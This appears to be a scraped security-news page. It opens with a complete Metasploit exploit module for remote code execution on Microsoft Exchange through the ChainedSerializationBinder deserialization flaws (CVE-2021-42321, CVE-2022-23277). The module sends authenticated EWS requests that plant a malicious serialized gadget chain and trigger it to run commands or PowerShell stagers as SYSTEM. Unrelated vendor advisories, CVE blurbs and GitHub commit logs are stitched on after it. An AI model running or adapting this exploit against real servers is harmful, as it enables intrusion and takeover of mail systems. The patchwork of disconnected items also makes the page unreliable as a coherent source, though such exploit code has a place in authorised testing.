This Metasploit module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'nokogiri'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::Powershell  include Msf::Exploit::Remote::HTTP::Exchange  include Msf::Exploit::Deprecated  moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',        'Description' => %q{          This module exploits vulnerabilities within the ChainedSerializationBinder as used in          Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and          Exchange Server 2016 CU22 all prior to Mar22SU.          Note that authentication is required to exploit these vulnerabilities.        },        'Author' => [          'pwnforsp', # Original Bug Discovery          'zcgonvh', # Of 360 noah lab, Original Bug Discovery          'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild          'Microsoft Security Response Center', # Discovery of exploitation in the wild          'peterjson', # Writeup          'testanull', # PoC Exploit          'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D          'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains          'Markus Wulftange' # CVE-2022-23277 research        ],        'References' => [          # CVE-2021-42321 references          ['CVE', '2021-42321'],          ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],          ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],          ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],          ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],          ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],          # CVE-2022-23277 references          ['CVE', '2022-23277'],          ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],          ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']        ],        'DisclosureDate' => '2021-12-09',        'License' => MSF_LICENSE,        'Platform' => 'win',        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'Windows Command',            {              'Arch' => ARCH_CMD,              'Type' => :win_cmd            }          ],          [            'Windows Dropper',            {              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'DefaultOptions' => {                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest              }            }          ],          [            'PowerShell Stager',            {              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :psh_stager            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'HttpClientTimeout' => 5,          'WfsDelay' => 10        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169            CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.          ]        }      )    )    register_options([      Opt::RPORT(443),      OptString.new('TARGETURI', [true, 'Base path', '/']),      OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),      OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])    ])  end  def post_auth?    true  end  def username    datastore['HttpUsername']  end  def password    datastore['HttpPassword']  end  def cve_2021_42321_vuln_builds    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019    [      '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21      '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22      '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10      '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11    ]  end  def cve_2022_23277_vuln_builds    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019    [      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU    ]  end  def check    # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version    current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)    if current_build_rex.nil?      return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")    end    @exchange_build = current_build_rex.to_s    if cve_2021_42321_vuln_builds.include?(@exchange_build)      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")    else      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")    end  end  def exploit    if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it      @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s      if @exchange_build.nil?        fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')      end    end    if cve_2021_42321_vuln_builds.include?(@exchange_build)      @gadget_chain = :ClaimsPrincipal    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)      @gadget_chain = :DataSetTypeSpoof    else      fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")    end    case target['Type']    when :win_cmd      execute_command(payload.encoded)    when :win_dropper      execute_cmdstager    when :psh_stager      execute_command(cmd_psh_payload(        payload.encoded,        payload.arch.first,        remove_comspec: true      ))    end  end  def execute_command(cmd, _opts = {})    # Get the user's inbox folder's ID and change key ID.    print_status("Getting the user's inbox folder's ID and ChangeKey ID...")    xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>      <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>      <m:GetFolder>        <m:FolderShape>        <t:BaseShape>AllProperties</t:BaseShape>        </m:FolderShape>        <m:FolderIds>        <t:DistinguishedFolderId Id="inbox" />        </m:FolderIds>      </m:GetFolder>      </soap:Body>    </soap:Envelope>)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),        'data' => xml_getfolder_inbox,        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.      }    )    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?    unless res&.body      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')    end    if res.code == 401      fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")    end    xml_getfolder = res.get_xml_document    xml_getfolder.remove_namespaces!    xml_tag = xml_getfolder.xpath('//FolderId')    if xml_tag.empty?      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')    end    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')    end    change_key_val = xml_tag.attribute('ChangeKey').value    folder_id_val = xml_tag.attribute('Id').value    print_good("ChangeKey value for Inbox folder is #{change_key_val}")    print_good("ID value for Inbox folder is #{folder_id_val}")    # Delete the user configuration object that currently on the Inbox folder.    print_status('Deleting the user configuration object associated with Inbox folder...')    xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>        <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>        <m:DeleteUserConfiguration>          <m:UserConfigurationName Name="ExtensionMasterTable">            <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />          </m:UserConfigurationName>        </m:DeleteUserConfiguration>      </soap:Body>    </soap:Envelope>)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),        'data' => xml_delete_inbox_user_config,        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.      }    )    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?    unless res&.body      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')    end    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')    else      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')    end    # Now to replace the deleted user configuration object with our own user configuration object.    print_status('Creating the malicious user configuration object on the Inbox folder!')    xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>        <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>        <m:CreateUserConfiguration>          <m:UserConfiguration>            <t:UserConfigurationName Name="ExtensionMasterTable">              <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />            </t:UserConfigurationName>            <t:Dictionary>              <t:DictionaryEntry>                <t:DictionaryKey>                  <t:Type>String</t:Type>                  <t:Value>OrgChkTm</t:Value>                </t:DictionaryKey>                <t:DictionaryValue>                  <t:Type>Integer64</t:Type>                  <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>                </t:DictionaryValue>              </t:DictionaryEntry>              <t:DictionaryEntry>                <t:DictionaryKey>                  <t:Type>String</t:Type>                  <t:Value>OrgDO</t:Value>                </t:DictionaryKey>                <t:DictionaryValue>                  <t:Type>Boolean</t:Type>                  <t:Value>false</t:Value>                </t:DictionaryValue>              </t:DictionaryEntry>            </t:Dictionary>            <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>          </m:UserConfiguration>        </m:CreateUserConfiguration>      </soap:Body>    </soap:Envelope>)    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),        'data' => xml_malicious_user_config,        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.      }    )    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?    unless res&.body      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')    end    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')    end    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')    # Deserialize our object. If all goes well, you should now have SYSTEM :)    print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')    xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">      <soap:Header>        <t:RequestServerVersion Version="Exchange2013" />      </soap:Header>      <soap:Body>        <m:GetClientAccessToken>          <m:TokenRequests>            <t:TokenRequest>              <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>              <t:TokenType>CallerIdentity</t:TokenType>            </t:TokenRequest>          </m:TokenRequests>        </m:GetClientAccessToken>      </soap:Body>    </soap:Envelope>)    begin      send_request_cgi(        {          'method' => 'POST',          'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),          'data' => xml_get_client_access_token,          'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.        }      )    rescue Errno::ECONNRESET      # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised    end  endend

Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution

Gentoo Linux Security Advisory 202208-34 - Multiple vulnerabilities have been discovered in Apache Tomcat, the worst of which could result in denial of service. Versions less than 8.5.82:8.5 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202208-34  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Low  
    Title: Apache Tomcat: Multiple Vulnerabilities  
     Date: August 21, 2022  
     Bugs: #773571, #801916, #818160, #855971  
       ID: 202208-34

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in Apache Tomcat, the  
worst of which could result in denial of service.

Background  
=========  
Apache Tomcat is a Servlet-3.0/JSP-2.2 Container.

Affected packages  
================  
    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  www-servers/tomcat         < 8.5.82:8.5              >= 8.5.82:8.5  
                                < 9.0.65:9                >= 9.0.65:9  
                                < 10.0.23:10              >= 10.0.23:10

Description  
==========  
Multiple vulnerabilities have been discovered in Apache Tomcat. Please  
review the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All Apache Tomcat 10.x users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-servers/tomcat-10.0.23:10"

All Apache Tomcat 9.x users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-servers/tomcat-9.0.65:9"

All Apache Tomcat 8.5.x users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-servers/tomcat-8.5.82:8.5"

References  
=========  
[ 1 ] CVE-2021-25122  
      https://nvd.nist.gov/vuln/detail/CVE-2021-25122  
[ 2 ] CVE-2021-25329  
      https://nvd.nist.gov/vuln/detail/CVE-2021-25329  
[ 3 ] CVE-2021-30639  
      https://nvd.nist.gov/vuln/detail/CVE-2021-30639  
[ 4 ] CVE-2021-30640  
      https://nvd.nist.gov/vuln/detail/CVE-2021-30640  
[ 5 ] CVE-2021-33037  
      https://nvd.nist.gov/vuln/detail/CVE-2021-33037  
[ 6 ] CVE-2021-42340  
      https://nvd.nist.gov/vuln/detail/CVE-2021-42340  
[ 7 ] CVE-2022-34305  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34305

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202208-34

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202208-34

Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability in WebbaPlugins Webba Booking plugin <= 4.2.21 at WordPress.

CVE-2021-36847: Webba Booking: Appointment & Event Booking Calendar Plugin

A flaw was found in Foreman project. A credential leak was identified which will expose Azure Compute Profile password through JSON of the API output. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

'1969258?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2021-3590: Invalid Bug ID

Pega Platform from 7.3 to 8.7.3 is affected by an XSS issue due to a misconfiguration of a datapage setting.

Pega continually works to implement security controls designed to protect client environments.  With this focus, Pega has issued hotfixes for 3 **medium** security vulnerabilities in Pega Platform:

**Issue**

**Description**

**Impact**

D22

Cross Site Script (XSS) vulnerability

Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.  

Clients with internet-facing applications should update or apply the hotfix. 

Clients running their own infrastructure should consult their security teams.

E22

Reflected Cross Site Script (XSS) vulnerability

F22

Reflected Cross Site Request Forgery (CSRF) vulnerability

This vulnerability may only be exploited by authenticated users with security administrator privileges.  

Clients should periodically review who they have granted elevated privileges to.

We are not aware of any of our clients being compromised as a result of these vulnerabilities.

If you are a **Pega Cloud client**, your Pega Cloud® environments running the relevant Pega versions listed in the table below, are being proactively remediated by Pega. CM cases are being created for each of your environments which provides the schedule of when the hotfixes will be applied.

If you are a United States **Pega Cloud for Government (PCFG) client**, SR cases are being created which will provide the relevant hotfixes for you to apply to your PCFG environments. A system restart, by the Pega Cloud team, will then be required for the hotfixes to take effect.

If you are an **on–premises client**, please review the tables below to determine which hotfixes correspond to your Pegasystems installation. Once you have determined the appropriate hotfix IDs, please submit **hotfix requests** using **My Support Portal**.  As always, **be sure you have appropriate backups in place _before_ applying the hotfixes.** Note that a system restart will be required for the hotfixes to take effect. 

Information regarding the availability of the hotfixes will be publicly posted on Pega Support Center on **Monday, Aug 22, 2022**. In order to give all Pega clients time to patch their on-premises systems, we request that clients **not discuss this in public forums until _after_ Aug 22.** 

As always, we recommend our clients review our Security Checklist regularly. 

**CVE Details**

**CVE Details**

**D22**

**E22**

**F22**

Software/Product

Pega Platform

Pega Platform

Pega Platform

Affected Version(s)

From 8.5.4 to  8.7.3

From 7.3 to 8.7.3

From 8.3 to  8.7.3

CVE ID

CVE-2022-35654

CVE-2022-35655

CVE-2022-35656

CVSS Rating

6.1

6.1

6.8

Description

Cross Site Script (XSS) vulnerability

Reflected Cross Site Script (XSS) vulnerability

Reflected Cross Site Request Forgery (CSRF) vulnerability

**Hotfixes**

Version

D22

E22

F22

8.5.6

HFIX-83957

Follow guidance\*

Update to 8.6.5 or higher

8.6.5

HFIX-83956

Follow guidance\*

HFIX-83958

8.7.3

HFIX-84023

Follow guidance\*

HFIX-84022

8.8

Fixed in release

Follow guidance\*

Fixed in release

These issue will be included as part of the product in the 8.6.6, 8.7.4, and 8.8 patch and minor releases.

**\*E22 Guidance:** 

As a best practice, you should update your Pega environment to the latest release to take advantage of the latest features, capabilities, and security and bug fixes. See Keeping current with Pega.

**Local Change** **Solution:**

**All versions from 7.3 and higher need to review their allow-listed** **Data Pages and adjust based on the two scenarios below:**

The activity pzGetDataPageJSON internally checks the allow-listed Data Pages that are specified in the HTML rule pyPublicDataPageWhiteList. 

**_How to use_** **_the HTML rule pyPublicDataPageWhiteList_** 

Use of the HTML rule pyPublicDataPageWhiteList depends on two conditional scenarios. 

**Scenario 1****: If the application does not use pega.api.ui.actions.getDataPage() for any business use case** 

As the application developer, you can make the HTML rule pyPublicDataPageWhiteList empty. With this change, any calls to  pega.api.ui.actions.getDataPage() or direct processing of the activity pzGetDataPageJSON will return an empty response. 

**Scenario** **2: If the application uses either the activity pzGetDataPageJSON  or the JavaScript API pega.api.ui.actions.getDataPage() for any business use case**   

Use non-parameterized Data Pages for these use cases and add only those data page names (each data page entry in newline) in the HTML rule pyPublicDataPageWhiteList. With this change, you are restricting only a few Data Pages that can be returned when using the Public JavaScript API. To specify the Data Page(s), use the following format: (each Data Page will be on a new line)

DataPage1  
DataPage2  
DataPage3

The HTML rule pyPublicDataPageWhiteList was introduced in the following Pega Platform versions: 

*   Pega Platform version 7.3.1 (HFIX-54435)
    
*   Pega Platform version 7.4 (HFIX-54126)
    
*   If you are using Pega Platform version 8.1.x, the rule exists in Pega Platform version 8.1.6 and later patch releases. 
    
*   If you are using Pega Platform version 8.2.x, the rule exists in Pega Platform version 8.2.3 and later patch releases.
    
*   Pega Platform version 8.2.1 (HFIX-63456) 
    
*   If you are using Pega Platform version 8.3.x, the rule exists in Pega Platform version 8.3.1 and later patch releases. 
    
*   If you are using Pega Platform 8.4.x and all later major releases and patch releases, the rule exists in these releases and in future releases. 
    

If you do not see your version listed, you should follow the best practice of updating to the latest release to be able to apply the local change.

CVE-2022-35655: Collaboration Center

Cross-site Scripting (XSS) - Reflected in GitHub repository bustle/mobiledoc-kit prior to 0.14.2.

Permalink

Browse files

Update dependencies 8/18/22 (#771)

\* Update devDependencies

\* Update mobiledoc-dom-renderer

\* pin

*   Loading branch information

gpoitch committed

Aug 18, 2022

1 parent c2df73e commit f3fdaa5352904fd2a0b4247ccb0dbf68aad43b5a

Showing **4 changed files** with **1,527 additions** and **1,091 deletions**.

*   package-lock.json
*   package.json
*   rollup.config.js
*   yarn.lock

**0 comments on commit f3fdaa5**

Please sign in to comment.

CVE-2022-2932: Update dependencies 8/18/22 (#771) · bustle/mobiledoc-kit@f3fdaa5

Cross-site Scripting (XSS) - Stored in GitHub repository yetiforcecompany/yetiforcecrm prior to 6.4.0.

Permalink

Browse files

YetiForce CRM ver. 6.4.0 (#16359)

\* Added improvements in record collector

\* Integration with UaYouControl.php (#16293)

Co-authored-by: Mariusz Krzaczkowski <m.krzaczkowski@yetiforce.com>

\* Integration with UaYouControl.php (#16293)

\* Add external link to NoBrregEnhetsregisteret. (#16292)

\* Add external link to NoBrregEnhetsregisteret. #16292

\* Add NorthData to RecordCollectors. (#16278)

\* Add NorthData to RecordCollectors.

\* Change docs.

Co-authored-by: Mariusz Krzaczkowski <m.krzaczkowski@yetiforce.com>

\* Fix #16311

\* Added conditions wizard for 'Update related record' workflow action

\* Add NorthData to RecordCollectors. (#16278)

\* Code improvements

\* Added improvements in record collector

\* Zefix integraion \[in progress\] (#16281)

\* Zefix integraion \[in progress\]

\* ChZefix integration.

Co-authored-by: Mariusz Krzaczkowski <m.krzaczkowski@yetiforce.com>

\* Improved workflow action

\* Added improvements in record collector

\* Improvements in the store

\* Update RecordCollector tests

\* Code improvements

\* Improved ConfReport

\* languages/en-US/Other/RecordCollector.json

\* Improved change module type

\* Improved default dashboard in api portal

\* Fix Send PDF workflow task

\* Improved default dashboard in api

\* Fixed attachments in 'Emails to send' panel

\* lib\_roundcube 0.3.0 Roundcube Webmail 1.6.0

\* tests

\* tests

\* Update tests.yml

\* Added improvements in record collector

\* tests/setup/dependency.sh

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* Code improvements

\* Update dependencies

\* Added minor improvements

\* tests

\* Added improvements in record collector

\* Added improvements in record collector

\* Added minor improvements

\* Added minor improvements

\* Added minor improvements

\* Improved import file button

\* Improved imap connection

\* Fix #16317 - list view entries count

\* Added minor code improvements

\* Improved menu items

\* Added improvements in record collector

\* Fix gantt view (#15772)

\* Added improvements in record collector

\* Added improvements in record collector

\* Added improvements in record collector

\* Updated graphics in store

\* Update install translations

\* Update fonts

\* Improved OSSMail template

\* Updated graphics in store

\* Update fonts

\* tests

\* tests Validator

\* Update icons

\* Improved widgets permissions (#15613)

\* Increase scrolling speed (#15031)

\* Added tracking to media management

\* Added improvements in record collector

\* Added improvements in record collector

\* Added improvements in record collector

\* Added minor code improvements

\* tests

\* Added minor code improvements

\* Fixed #15164 (#16319)

\* Some changes in Import module (#16318)

\* Code formatting

\* Added improvements in record collector

\* Change the library "sonata-project / google-authenticator" to "pragmarx/google2fa"

\* Update dependencies

\* Update dependencies

\* Updated \*.min and \*.map files

\* Change the library "sonata-project / google-authenticator" to "pragmarx/google2fa"

\* Added minor improvements in Composer::install

\* Update dev dependency

\* Added dropdown button to record collectors (#16322)

\* Corrected  Record collectors table width (#16323)

\* Fixed #15183 modulesMapRelatedFields don\`t work correct for multipicklist

\* Added minor improvements in Credits

\* Fix edit view header links

\* Improved Inventory panel and PDF widget

\* Added improvements in record collector

\* Added improvements in record collector

\* Update install translations

\* #16282 Improved the handler from getting coordinates to the map

\* Added minor code improvements

\* Fixed getting reference module in inventory name field (#16329)

\* Missing icons update

\* Improved tree field type

\* Improved tests and some code

\* Fix tree field type

\* Fix scheme for tree data table

\* Improved switch users

\* Improved YetiForce CLI

\* \[PROD\](renovate) Update dependency github/super-linter to v4.9.6 (#16324)

Co-authored-by: renovate\[bot\] <29139614+renovate\[bot\]@users.noreply.github.com>

\* Bump giggsey/libphonenumber-for-php from 8.12.52 to 8.12.53 (#16331)

Bumps \[giggsey/libphonenumber-for-php\](https://github.com/giggsey/libphonenumber-for-php) from 8.12.52 to 8.12.53.
- \[Release notes\](https://github.com/giggsey/libphonenumber-for-php/releases)
- \[Commits\](giggsey/libphonenumber-for-php@8.12.52...8.12.53)

---
updated-dependencies:
- dependency-name: giggsey/libphonenumber-for-php
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot\[bot\] <support@github.com>

Co-authored-by: dependabot\[bot\] <49699333+dependabot\[bot\]@users.noreply.github.com>

\* Improved switch users

\* Improved switch users

\* Unused code has been removed

\* Fix tree field type

\* Added improvements in record collector

\* Improved integration with DAV

\* Improved conditions wizard for 'Update related record' workflow action

\* Fixed focus to search text field when click on select2 drop down in modal window

\* Added improvements in record collector

\* Added minor code improvements

\* Improved ConfReport

\* Improved .htaccess

\* Added minor code improvements

\* Improved ConfReport

\* Fix icon on tree field type and change icon management view

\* Removed unused code. "Is added" - condition in workflows (#16321)

\* Correct setting of check boxes of Inventory boolean fields depending on their values. (#16326)

\* Update Inventory.js
Now the check-boxes of Inventory boolean fields will be set correctly regarding to their content.

\* README.md (#16332)

\* Improve inventory auto fill

\* Improved getting data from smtp (#16334)

\* Fixed #13136 (#16335)

\* Improved DB structure for map table cache

\* Improved updating payment status (#16327)

\* Improved updating payment status

\* Corrected translation (#16336)

\* Removed translation (#16337)

\* A functionality has been added to unlock e-mail accounts

\* Fix #13486

\* Update dependencies

\* mbstring.func\_overload

\* Added priority to CalendarActivities and OverdueActivities dashboard … (#16276)

\* Added priority to CalendarActivities and OverdueActivities dashboard widgets

\* Added improvement

\* Hidden icon for previewing replies in comments (#16339)

\* The display of the multi email field has been improved

\* Added working time counter widget. (#16316)

\* Added working time counter widget.

\* Added translation

\* Added improvements

\* Removed varialbe

\* Corrected comment

\* Added title to buttons

\* Added type to variable

\* Removed redundant characters

\* Added working time counter widget. #16316

\* Added minor improvements

\* Improoved dashboard titles

\* Updated \*.min and \*.map files

\* Added minor improvements in languages

\* Updated translation

\* Improvements have been added to the integration with WAPRO ERP

\* Update install translations

\* Update translations

\* Update translations

\* Added improvements in record collector

\* Added improvements in record collector

\* Improved input data cleanup

\* Improved RSS

\* Improved Rss

\* Update all Yarn dependencies (2022-08-15) (#16344)

Co-authored-by: depfu\[bot\] <23717796+depfu\[bot\]@users.noreply.github.com>

\* Added improvements in record collector

\* Improvements in the mechanism of generating PDF files

\* YetiForcePDF update v0.1.40 & Update dependencies

\* Improved some config templates

\* Added minor improvements

\* Remove unnecessary code

\* .github/workflows/actions.yml

\* .github/workflows/actions.yml

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* Improved Db importer/updater

\* Added buttons to the Working hours counter widget (#16340)

\* Added buttons to the Working hours counter widget

\* Added translations

\* Improved widget

\* Added button lock when starting timing

\* Update translations

\* Added missing translation

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* Added missing translation

\* .github/workflows/tests.yml

\* Removed Translation (#16347)

Co-authored-by: Radosław Skrzypczak <r.skrzypczak@yetiforce.com>

\* Update install translations

\* Added minor improvement in get actual version of PHP

\* Update install translations

\* Updated \*.min and \*.map files

\* Redundant code has been removed

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* .github/workflows/tests.yml

\* Improved RSS

\* Added improvements

\* Update DEV dependencies

\* Fix Completions initialization in comments widget (#16348)

\* Update fonts

\* Fixed sending files in API for PUT method

\* Update DEV dependencies

\* Improved valid of time in Business Hours (#16351)

\* Improved executing workflow when an unsupported operator is selected (#16352)

